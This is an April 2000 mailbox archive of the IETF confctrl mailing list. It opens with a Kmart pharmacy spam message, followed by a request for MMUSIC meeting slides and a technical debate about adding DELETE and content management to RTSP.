Received: from tsunami.surfnusa.net ([205.241.208.130])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id WAA20685;
	Sun, 9 Apr 2000 22:40:48 -0700 (PDT)
Received: (from nobody@localhost)
	by tsunami.surfnusa.net (8.8.8+Sun/8.8.8) id SAA01501;
	Sun, 9 Apr 2000 18:39:42 -0400 (EDT)
Date: Sun, 9 Apr 2000 18:39:42 -0400 (EDT)
Message-Id: <200004092239.SAA01501@tsunami.surfnusa.net>
From: KmartBenefits@thegoodhealthcard.com
Subject: Kmart gives free 24 pack of Coca-Cola with first prescription filled
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Free Coca-Cola products with your Kmart Savings Card, on your first prescription filled.  Then big savings at all Kmart pharmacy locations whenever you fill a prescription - up to 60% on generics.  See our website at: 

http://www.TheGoodHealthCard.com/kmartpharmacy.cgi

Please check into this offer, you will find the application and details at our website.  Just a couple of minutes to complete the application and you will be sent a special Kmart Discount Card.  Use it to fill your prescription and you will receive a FREE case of Coca-Cola.  Try it today - it works! 

http://www.TheGoodHealthCard.com/kmartpharmacy.cgi

Thankyou. 

[Our records indicate you are qualified -and- likely to be interested in this specifically targeted message.  To be put on a list of 'NOT interested in this kind of mailing', Simply click REPLY and put PLEASE EXCLUDE ME in the subject line.]

K3

From confctrl-owner  Mon Apr 10 05:07:28 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA16605
	for confctrl-outgoing; Mon, 10 Apr 2000 05:07:28 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA16600
	for <confctrl@zephyr.isi.edu>; Mon, 10 Apr 2000 05:07:26 -0700 (PDT)
Received: from bsf.alcatel.fr (laposte.bsf.alcatel.fr [193.104.128.7])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA23414
	for <confctrl@isi.edu>; Mon, 10 Apr 2000 05:07:44 -0700 (PDT)
Received: from bsbrest.bst.bsf.alcatel.fr (bsbrest.bst.bsf.alcatel.fr [155.132.38.2])
	by bsf.alcatel.fr (8.9.3/8.9.3) with ESMTP id OAA05405
	for <confctrl@isi.edu>; Mon, 10 Apr 2000 14:13:39 +0200 (MET DST)
Received: from BRE04-000027309 (BRE04-000027309 [155.132.76.161])
	by bsbrest.bst.bsf.alcatel.fr (8.9.1b+Sun/8.9.1) with ESMTP id OAA02983
	for <confctrl@isi.edu>; Mon, 10 Apr 2000 14:06:00 +0200 (MET DST)
To: confctrl@ISI.EDU
Subject: MMUSIC last meeting minutes
From: Lionel Vidal <lionel.vidal@bst.bsf.alcatel.fr>
Date: 10 Apr 2000 14:05:58 +0200
Message-ID: <ur9cexis9.fsf@bst.bsf.alcatel.fr>
Lines: 9
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Hello,

I am looking for an URL where I could find the slides presented in MMUSIC
during last meeting in Adelaide.  Are such informations available
somewhere?

Regards,
Lionel.


From confctrl-owner  Mon Apr 10 05:44:11 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA18010
	for confctrl-outgoing; Mon, 10 Apr 2000 05:44:11 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA18005
	for <confctrl@zephyr.isi.edu>; Mon, 10 Apr 2000 05:44:07 -0700 (PDT)
Received: from bettina.informatik.uni-bremen.de (bettina.informatik.uni-bremen.de [134.102.224.3])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA26541
	for <confctrl@ISI.EDU>; Mon, 10 Apr 2000 05:44:17 -0700 (PDT)
Received: from plumps (daemon.informatik.uni-bremen.de [134.102.218.45])
	by bettina.informatik.uni-bremen.de (8.8.7/8.8.7) with SMTP id OAA02355;
	Mon, 10 Apr 2000 14:43:05 +0200 (MET DST)
Message-Id: <200004101243.OAA02355@bettina.informatik.uni-bremen.de>
X-Sender: jo@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0
Date: Mon, 10 Apr 2000 14:41:51 +0200
To: Lionel Vidal <lionel.vidal@bst.bsf.alcatel.fr>, confctrl@ISI.EDU
From: Joerg Ott <jo@tzi.uni-bremen.de>
Subject: Re: MMUSIC last meeting minutes
In-Reply-To: <ur9cexis9.fsf@bst.bsf.alcatel.fr>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Lionel,

I have collected most of the presentations.  As soon I have completed the
minutes, I'll make them available and post a brief note to the list.

Regards,
Joerg

>
>Hello,
>
>I am looking for an URL where I could find the slides presented in MMUSIC
>during last meeting in Adelaide.  Are such informations available
>somewhere?
>
>Regards,
>Lionel.
> 


From confctrl-owner  Mon Apr 10 15:31:29 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA19153
	for confctrl-outgoing; Mon, 10 Apr 2000 15:31:29 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA19148
	for <confctrl@zephyr.isi.edu>; Mon, 10 Apr 2000 15:31:28 -0700 (PDT)
Received: from postman.ncube.com (postman.ncube.com [134.242.8.47])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA05404
	for <confctrl@ISI.EDU>; Mon, 10 Apr 2000 15:31:46 -0700 (PDT)
Received: from db1.ncube.com (db1 [134.242.64.1])
	by postman.ncube.com (8.9.0/8.9.0) with SMTP id PAA06819;
	Mon, 10 Apr 2000 15:31:33 -0700 (PDT)
Received: from ncube.com by db1.ncube.com (SMI-8.6/SMI-SVR4)
	id PAA04662; Mon, 10 Apr 2000 15:32:49 -0700
Message-ID: <38F25517.79E571C6@ncube.com>
Date: Mon, 10 Apr 2000 15:26:31 -0700
From: Sean Sheedy <seans@ncube.com>
Organization: nCUBE
X-Mailer: Mozilla 4.7 [en] (X11; U; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Kundan Singh <kns10@cs.columbia.edu>
CC: Anup Rao <anrao@cisco.com>, confctrl@ISI.EDU
Subject: Re: Changes/clarifications to RTSP
References: <Pine.GSO.4.21.0004041144110.29450-100000@cisalpino.cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Kundan Singh wrote:
> 
> Will it be a good idea to include some provision
> in RTSP to delete a resource/recorded media on the server.
> 
> Henning and I had a discussion on this and we see following
> possibilities:
>  - define another RTSP method, say "DELETE".
>  - Use SETUP(mode=record)-TEARDOWN sequence. If you want to delete
>    the resource/file then you send RTSP messages as if
>    you are recoding the file, but without sending an actual
>    RECORD message. The server interprets SETUP for recording,
>    followed by TEARDOWN (without RECORD) as a command to
>    delete the file. (Any way the recorded file will be empty otherwise).
> 
> The first approach is a more straight forward, formal approach
> while the second is a hack.
> 
> Obviously, proper authentication needs to be done for
> deletion.

I don't think that content management (of which deletion is only a very
small part) belongs in RTSP.  Other protocols such at HTTP are more
appropriate.  RTSP should stick to controlling delivery of
presentations.

Sean

-- 
Sean Sheedy                                         seans@ncube.com
(503) 531-6427

From confctrl-owner  Tue Apr 11 09:28:40 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA10389
	for confctrl-outgoing; Tue, 11 Apr 2000 09:28:40 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA10383
	for <confctrl@zephyr.isi.edu>; Tue, 11 Apr 2000 09:28:39 -0700 (PDT)
Received: from mailhub.fokus.gmd.de (mailhub.fokus.gmd.de [193.174.154.14])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA06925
	for <confctrl@ISI.EDU>; Tue, 11 Apr 2000 09:28:57 -0700 (PDT)
Received: from cs.columbia.edu (dhcp025 [195.37.78.153])
	by mailhub.fokus.gmd.de (8.8.8/8.8.8) with ESMTP id SAA22235;
	Tue, 11 Apr 2000 18:26:15 +0200 (MET DST)
Message-ID: <38F3543C.848BC66@cs.columbia.edu>
Date: Tue, 11 Apr 2000 12:35:08 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
X-Mailer: Mozilla 4.7 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Sean Sheedy <seans@ncube.com>
CC: Kundan Singh <kns10@cs.columbia.edu>, Anup Rao <anrao@cisco.com>,
        confctrl@ISI.EDU
Subject: Re: Changes/clarifications to RTSP
References: <Pine.GSO.4.21.0004041144110.29450-100000@cisalpino.cs.columbia.edu> <38F25517.79E571C6@ncube.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> 
> I don't think that content management (of which deletion is only a very
> small part) belongs in RTSP.  Other protocols such at HTTP are more
> appropriate.  RTSP should stick to controlling delivery of
> presentations.
> 

The problem is that this doesn't work well in practice. In many cases,
an RTSP server won't have an HTTP server or, if it does, the namespaces
will be very different. I agree that most servers don't need to
implement this, but for some applications (such as voice mail) this
pretty much covers content management.

From confctrl-owner  Tue Apr 11 09:35:11 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA10870
	for confctrl-outgoing; Tue, 11 Apr 2000 09:35:11 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA10862
	for <confctrl@zephyr.isi.edu>; Tue, 11 Apr 2000 09:35:09 -0700 (PDT)
Received: from prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA08173
	for <confctrl@ISI.EDU>; Tue, 11 Apr 2000 09:35:28 -0700 (PDT)
Received: from tinkywinky ([172.23.100.74])
	by prognet.com (8.9.2/8.9.0) with SMTP id JAA14326;
	Tue, 11 Apr 2000 09:35:07 -0700 (PDT)
Message-Id: <3.0.32.20000411094636.01104d40@mail.real.com>
X-Sender: jcarlton@mail.real.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Tue, 11 Apr 2000 09:46:37 -0700
To: Sean Sheedy <seans@ncube.com>, confctrl@ISI.EDU
From: John Carlton <jcarlton@real.com>
Subject: Re: Changes/clarifications to RTSP
Cc: Anup Rao <anrao@cisco.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi all,

Just a quick (late) note about the proposed RTSP Extensions set forth by
Sean Sheedy in draft-sheedy-mmusic-rtsp-ext-00.txt.

For the most part the extensions are fine but there are a couple of things
that concern us.

Specifically, Section 3.1 raises a number of questions. Specifying a
different URI in a PLAY to reuse a transport does not seem like a good
idea. This was discussed in a different context between Henning, Anup and
RNWK a few weeks back and the conclusions were that this would not be added
to RFC 2326 because of the amount of coupling involved. When exactly does
this kind of inheritance work? Don't you need to at least setup the
sub-streams you want? Is it restricted to same TCP RTSP connection? Same IP
address for UDP? It seems like this needs to be spec'ed out more fully.
Maybe a modified SESSION method would be better (and more backward
compatible)?

We are against using wildcards in URI's as proposed in 3.1. In general use
of wildcards can cause problems for intermediary devices. Its true that if
a wildcard is used only in an existing session this should not be a problem
but this should at least be an explicit requirement.

thanks

jc







From confctrl-owner  Tue Apr 11 11:49:14 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA21174
	for confctrl-outgoing; Tue, 11 Apr 2000 11:49:14 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA21169
	for <confctrl@zephyr.isi.edu>; Tue, 11 Apr 2000 11:49:12 -0700 (PDT)
Received: from prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA10419
	for <confctrl@ISI.EDU>; Tue, 11 Apr 2000 11:49:31 -0700 (PDT)
Received: from robla350 ([172.22.101.226])
	by prognet.com (8.9.2/8.9.0) with ESMTP id LAA05690;
	Tue, 11 Apr 2000 11:49:18 -0700 (PDT)
Message-Id: <4.2.0.58.20000411113213.031b59f0@goobox.prognet.com>
X-Sender: robla@goobox.prognet.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Tue, 11 Apr 2000 11:49:07 -0700
To: Henning Schulzrinne <hgs@cs.columbia.edu>, Sean Sheedy <seans@ncube.com>
From: Rob Lanphier <robla@real.com>
Subject: Re: Changes/clarifications to RTSP
Cc: Kundan Singh <kns10@cs.columbia.edu>, Anup Rao <anrao@cisco.com>,
        confctrl@ISI.EDU
In-Reply-To: <38F3543C.848BC66@cs.columbia.edu>
References: <Pine.GSO.4.21.0004041144110.29450-100000@cisalpino.cs.columbia.edu>
 <38F25517.79E571C6@ncube.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 12:35 PM 4/11/00 -0400, Henning Schulzrinne wrote:
> >
> > I don't think that content management (of which deletion is only a very
> > small part) belongs in RTSP.  Other protocols such at HTTP are more
> > appropriate.  RTSP should stick to controlling delivery of
> > presentations.
> >
>
>The problem is that this doesn't work well in practice. In many cases,
>an RTSP server won't have an HTTP server or, if it does, the namespaces
>will be very different. I agree that most servers don't need to
>implement this, but for some applications (such as voice mail) this
>pretty much covers content management.

Let me just throw out a half-baked idea as a possibility:  could we present 
some way of probing for permissions on a URL?  For instance:

OPTIONS rtsp://foo.com/bar/blat.rm RTSP/1.0
CSeq: 1
HTTP-management-options: please

RTSP/1.0 200 OK
HTTP-Management-URL: http://foo.com/rtspserver/bar/blat.rm
HTTP-Public:  PUT, DELETE, PROPFIND, PROPPATCH, COPY

This would make it possible to do whatever file-management that HTTP 
offers, such as DELETE in the simple case, and WebDAV (rfc2518) in a more 
complex scenario.

Other than noting that the RTSP->HTTP crossover problem is a solvable 
problem, I'm not going to offer an opinion (yet) as to whether it's the 
best thing to do.

Rob



From confctrl-owner  Tue Apr 11 14:33:45 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA01544
	for confctrl-outgoing; Tue, 11 Apr 2000 14:33:45 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA01538
	for <confctrl@zephyr.isi.edu>; Tue, 11 Apr 2000 14:33:44 -0700 (PDT)
Received: from inet-smtp4.oracle.com (inet-smtp4.us.oracle.com [209.246.15.58])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA23191
	for <confctrl@ISI.EDU>; Tue, 11 Apr 2000 14:33:31 -0700 (PDT)
Received: from usmail05.us.oracle.com (usmail05.us.oracle.com [130.35.61.101])
	by inet-smtp4.oracle.com (8.9.3/8.9.3) with ESMTP id OAA10654;
	Tue, 11 Apr 2000 14:33:21 -0700 (PDT)
Received: from us.oracle.com (dpranke-pc.us.oracle.com [130.35.80.243])
	by usmail05.us.oracle.com (8.8.8+Sun/8.8.8) with ESMTP id OAA18120;
	Tue, 11 Apr 2000 14:33:20 -0700 (PDT)
Message-ID: <38F39A20.73994D78@us.oracle.com>
Date: Tue, 11 Apr 2000 14:33:20 -0700
From: Dirk Pranke <dpranke@us.oracle.com>
Organization: Oracle Corporation
X-Mailer: Mozilla 4.6 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: John Carlton <jcarlton@real.com>
CC: Sean Sheedy <seans@ncube.com>, confctrl@ISI.EDU,
        Anup Rao <anrao@cisco.com>
Subject: Re: Changes/clarifications to RTSP
References: <3.0.32.20000411094636.01104d40@mail.real.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi back,

Having worked with Sean on these extensions, I can probably comment on the
motivation ... I'm sure Sean will correct me if I get something wrong.

John Carlton wrote:
> 
> Hi all,
> 
> Just a quick (late) note about the proposed RTSP Extensions set forth by
> Sean Sheedy in draft-sheedy-mmusic-rtsp-ext-00.txt.
> 
> For the most part the extensions are fine but there are a couple of things
> that concern us.
> 

I'm glad to hear that they're mostly good!

> Specifically, Section 3.1 raises a number of questions. Specifying a
> different URI in a PLAY to reuse a transport does not seem like a good
> idea. This was discussed in a different context between Henning, Anup and
> RNWK a few weeks back and the conclusions were that this would not be added
> to RFC 2326 because of the amount of coupling involved. When exactly does
> this kind of inheritance work? Don't you need to at least setup the
> sub-streams you want? Is it restricted to same TCP RTSP connection? Same IP
> address for UDP? It seems like this needs to be spec'ed out more fully.
> Maybe a modified SESSION method would be better (and more backward
> compatible)?
> 

The motivation for this is in transports where the transport properties will
not change from stream to stream, and setting up sessions is very expensive.
A good example of this is streaming broadcast quality MPEG-2 Transport over
ATM or QAM networks for interactive VOD. The signalling requirements for new
sessions can be quite expensive (a few seconds), especially compared to the
very low latency expectations of a typical TV-biased consumer. Think of flipping
channels, for example: most of us have an expectation of near to sub-second
response times for our TV. If switching assets took 2-3 seconds to switch
QAM banks or ATM SVCs, plus the time to synchronize on the media, this would
not be a compelling solution. However, given that each MPEG-2 Transport asset
can be pretty much identical in encoding parameters and transport requirements,
there is no reason you shouldn't be able to re-use the same transport connection.

This is born out in practice by existing high speed deployments where we use
exactly this functionality today.

As to the syntax, the basic theory was that much like you can queue existing
segments of a given asset back to back using new PLAY commands, you should be
able to queue segments of different assets back to back using PLAY commands;
the fact that the assets are different shouldn't really matter as long as the
compression and transport properties are the same (which they must be, otherwise
this feature doesn't make sense).

However, I will freely agree that this feature only makes sense for some content
types and some transport types, and the spec should be more clear on this.

I would be curious to know the gist of the discussion you mention; why did you
think the coupling would be bad?

> We are against using wildcards in URI's as proposed in 3.1. In general use
> of wildcards can cause problems for intermediary devices. Its true that if
> a wildcard is used only in an existing session this should not be a problem
> but this should at least be an explicit requirement.
>

I think the intent was to be only used on an existing session. I agree that
a wildcard passed to SETUP doesn't make much sense.
 
> thanks
> 
> jc

-- Dirk

Dirk Pranke
Oracle Interactive Television Division

From confctrl-owner  Tue Apr 11 18:02:24 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA11170
	for confctrl-outgoing; Tue, 11 Apr 2000 18:02:24 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA11165
	for <confctrl@zephyr.isi.edu>; Tue, 11 Apr 2000 18:02:23 -0700 (PDT)
Received: from mr14.vic-remote.bigpond.net.au (mr14.vic-remote.bigpond.net.au [24.192.1.29])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id SAA25163
	for <confctrl@ISI.EDU>; Tue, 11 Apr 2000 18:02:40 -0700 (PDT)
Received: from mbuna.arbhome.com.au (CPE-144-132-1-236.vic.bigpond.net.au [144.132.1.236])
	by mr14.vic-remote.bigpond.net.au (Pro-8.9.3/8.9.3) with SMTP id LAA29567;
	Wed, 12 Apr 2000 11:02:02 +1000 (EST)
Received: from mbuna.arbhome.com.au (localhost [127.0.0.1])
	by mbuna.arbhome.com.au (8.9.2/8.9.2) with ESMTP id LAA02756;
	Wed, 12 Apr 2000 11:02:00 +1000 (EST)
Message-Id: <200004120102.LAA02756@mbuna.arbhome.com.au>
X-Mailer: exmh version 2.0.2
To: Henning Schulzrinne <hgs@cs.columbia.edu>
cc: Sean Sheedy <seans@ncube.com>, Kundan Singh <kns10@cs.columbia.edu>,
        Anup Rao <anrao@cisco.com>, confctrl@ISI.EDU
From: Anthony Baxter <anthony@interlink.com.au>
Reply-to: Anthony Baxter <anthony@interlink.com.au>
Subject: Re: Changes/clarifications to RTSP 
In-Reply-To: Message from Henning Schulzrinne <hgs@cs.columbia.edu> 
   of "Tue, 11 Apr 2000 12:35:08 -0400." <38F3543C.848BC66@cs.columbia.edu> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Wed, 12 Apr 2000 11:02:00 +1000
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>>> Henning Schulzrinne wrote
> > 
> > I don't think that content management (of which deletion is only a very
> > small part) belongs in RTSP.  Other protocols such at HTTP are more
> > appropriate.  RTSP should stick to controlling delivery of
> > presentations.
> > 
> 
> The problem is that this doesn't work well in practice. In many cases,
> an RTSP server won't have an HTTP server or, if it does, the namespaces
> will be very different. I agree that most servers don't need to
> implement this, but for some applications (such as voice mail) this
> pretty much covers content management.

The problem is that this is a really slippery slope - you end up trying
to encapsulate a whole lot of stuff into RTSP, and it's really quite 
unpleasant. This is not just hypothetical - I've been there, and done 
this. It _really_ does not work. Sure, delete might be ok - but what 
about (in the voicemail case) reply? annotate? If you want to do delete
via RTSP, do it by something like 

DESCRIBE /deleteMessage/msgid=343556432 

which can send back an audio stream saying 'message deleted'. Adding it as
a new command seems way overkill.

ObSuggestedImprovementToRFC: cleaning up the words about destination and
source, in particular when dealing with record and play. Actually, unicast
record (the voicemail, again) could do with some more docs.

Anthony

From confctrl-owner  Tue Apr 11 23:17:22 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA22129
	for confctrl-outgoing; Tue, 11 Apr 2000 23:17:22 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA22124
	for <confctrl@zephyr.isi.edu>; Tue, 11 Apr 2000 23:17:21 -0700 (PDT)
Received: from tid.tid.es (tidos.tid.es [193.145.240.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id XAA28044
	for <confctrl@ISI.EDU>; Tue, 11 Apr 2000 23:17:36 -0700 (PDT)
Received: from tid.es ([172.17.1.12]) by tid.tid.es (Netscape
          Messaging Server 4.15) with ESMTP id FSW3XP01.005 for
          <confctrl@ISI.EDU>; Wed, 12 Apr 2000 08:13:01 +0200 
Message-ID: <38F414A4.21E0CB36@tid.es>
Date: Wed, 12 Apr 2000 08:16:04 +0200
From: Sonia Gomez Garcia <sgg@tid.es>
Organization: Telefonica I+D
X-Mailer: Mozilla 4.5 [es] (Win98; I)
X-Accept-Language: en,es-ES
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: Re: Changes/clarifications to RTSP
References: <Pine.GSO.4.21.0004041144110.29450-100000@cisalpino.cs.columbia.edu> <38F25517.79E571C6@ncube.com> <38F3543C.848BC66@cs.columbia.edu>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I'd like not to receive more mails from this list.

Thank you,
    Sonia

Henning Schulzrinne escribió:

> >
> > I don't think that content management (of which deletion is only a very
> > small part) belongs in RTSP.  Other protocols such at HTTP are more
> > appropriate.  RTSP should stick to controlling delivery of
> > presentations.
> >
>
> The problem is that this doesn't work well in practice. In many cases,
> an RTSP server won't have an HTTP server or, if it does, the namespaces
> will be very different. I agree that most servers don't need to
> implement this, but for some applications (such as voice mail) this
> pretty much covers content management.


From confctrl-owner  Wed Apr 12 00:25:08 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA24746
	for confctrl-outgoing; Wed, 12 Apr 2000 00:25:08 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA24740
	for <confctrl@zephyr.isi.edu>; Wed, 12 Apr 2000 00:25:06 -0700 (PDT)
Received: from mailhub.fokus.gmd.de (mailhub.fokus.gmd.de [193.174.154.14])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id AAA04137
	for <confctrl@isi.edu>; Wed, 12 Apr 2000 00:25:25 -0700 (PDT)
Received: from cs.columbia.edu (dhcp025 [195.37.78.153])
	by mailhub.fokus.gmd.de (8.8.8/8.8.8) with ESMTP id JAA06580;
	Wed, 12 Apr 2000 09:23:38 +0200 (MET DST)
Message-ID: <38F4268E.ED6CA9C9@cs.columbia.edu>
Date: Wed, 12 Apr 2000 03:32:30 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
X-Mailer: Mozilla 4.7 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Anthony Baxter <anthony@interlink.com.au>, confctrl@ISI.EDU
Subject: Re: Changes/clarifications to RTSP
References: <200004120102.LAA02756@mbuna.arbhome.com.au>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> 
> The problem is that this is a really slippery slope - you end up trying
> to encapsulate a whole lot of stuff into RTSP, and it's really quite

The slippery slope argument can be made about anything, so I'm not sure
how to respond.

> unpleasant. This is not just hypothetical - I've been there, and done
> this. It _really_ does not work. Sure, delete might be ok - but what
> about (in the voicemail case) reply? annotate? If you want to do delete
> via RTSP, do it by something like

In our voice mail model, there is no need for replies in the traditional
sense.

> 
> DESCRIBE /deleteMessage/msgid=343556432
> 
> which can send back an audio stream saying 'message deleted'. Adding it as
> a new command seems way overkill.

This seems even uglier. At least with an explicit command, the client
can find out which methods are supported (via OPTIONS), rather than
somehow magically guessing that some strange DESCRIBE URL also happens
to delete the message.

> 
> ObSuggestedImprovementToRFC: cleaning up the words about destination and
> source, in particular when dealing with record and play. Actually, unicast
> record (the voicemail, again) could do with some more docs.
> 
> Anthony

From confctrl-owner  Wed Apr 12 01:52:32 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id BAA27982
	for confctrl-outgoing; Wed, 12 Apr 2000 01:52:32 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id BAA27977
	for <confctrl@zephyr.isi.edu>; Wed, 12 Apr 2000 01:52:31 -0700 (PDT)
Received: from mr14.vic-remote.bigpond.net.au (mr14.vic-remote.bigpond.net.au [24.192.1.29])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id BAA11375
	for <confctrl@isi.edu>; Wed, 12 Apr 2000 01:52:49 -0700 (PDT)
Received: from mbuna.arbhome.com.au (CPE-144-132-1-236.vic.bigpond.net.au [144.132.1.236])
	by mr14.vic-remote.bigpond.net.au (Pro-8.9.3/8.9.3) with SMTP id SAA14319;
	Wed, 12 Apr 2000 18:52:17 +1000 (EST)
Received: from mbuna.arbhome.com.au (localhost [127.0.0.1])
	by mbuna.arbhome.com.au (8.9.2/8.9.2) with ESMTP id SAA04123;
	Wed, 12 Apr 2000 18:52:16 +1000 (EST)
Message-Id: <200004120852.SAA04123@mbuna.arbhome.com.au>
X-Mailer: exmh version 2.0.2
To: Henning Schulzrinne <hgs@cs.columbia.edu>
cc: confctrl@ISI.EDU
From: Anthony Baxter <anthony@interlink.com.au>
Reply-to: Anthony Baxter <anthony@interlink.com.au>
Subject: Re: Changes/clarifications to RTSP 
In-Reply-To: Message from Henning Schulzrinne <hgs@cs.columbia.edu> 
   of "Wed, 12 Apr 2000 03:32:30 -0400." <38F4268E.ED6CA9C9@cs.columbia.edu> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Wed, 12 Apr 2000 18:52:16 +1000
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>>> Henning Schulzrinne wrote
> > 
> > The problem is that this is a really slippery slope - you end up trying
> > to encapsulate a whole lot of stuff into RTSP, and it's really quite
> 
> The slippery slope argument can be made about anything, so I'm not sure
> how to respond.

If you're going to add DELETE, why not RENAME as well? And then you might
get into versioning, so maybe you need locks, and the like. 

> In our voice mail model, there is no need for replies in the traditional
> sense.

? In the model I'm familiar with, it's one of the more frequent operations.
RTSP is fine for setting up streams and working with them - but I'm not sure
that extending it to modifying the resources on the original servers is such 
a great idea. It's surely such an incredibly site-specific copnfiguration, 
and it seems like it would be far far better implemented via HTTP or some 
other protocol. For the argument 'but not all RTSP servers will run HTTP' - 
well, they'd have to be modified to add DELETE &c, so why not modify them 
to do it via HTTP, instead?

> > DESCRIBE /deleteMessage/msgid=343556432
> 
> This seems even uglier. 

Sure, it is - but the point is that this isn't a protocol that's really
designed to do the data manipulation tasks. It should be noted that I 
don't advocate the above - but if you must do it via RTSP, you can.

> At least with an explicit command, the client
> can find out which methods are supported (via OPTIONS), rather than
> somehow magically guessing that some strange DESCRIBE URL also happens
> to delete the message.

But how would a client determine if it had access rights to delete a 
message? So you'd need to extend DESCRIBE to work out what access you 
had for a particular resource. And then you might need to add stuff to 
allow you to change access control for a particular resource.

It seems to me like the line between what RTSP does now (record/play -
setting up streams) and things like delete/rename/modify operations on 
resources on the server is a pretty clear one. 


Anthony
-- 
Anthony Baxter     <anthony@interlink.com.au>   
It's never too late to have a happy childhood.

From confctrl-owner  Wed Apr 12 11:05:21 2000
Return-Path: <owner-confctrl>
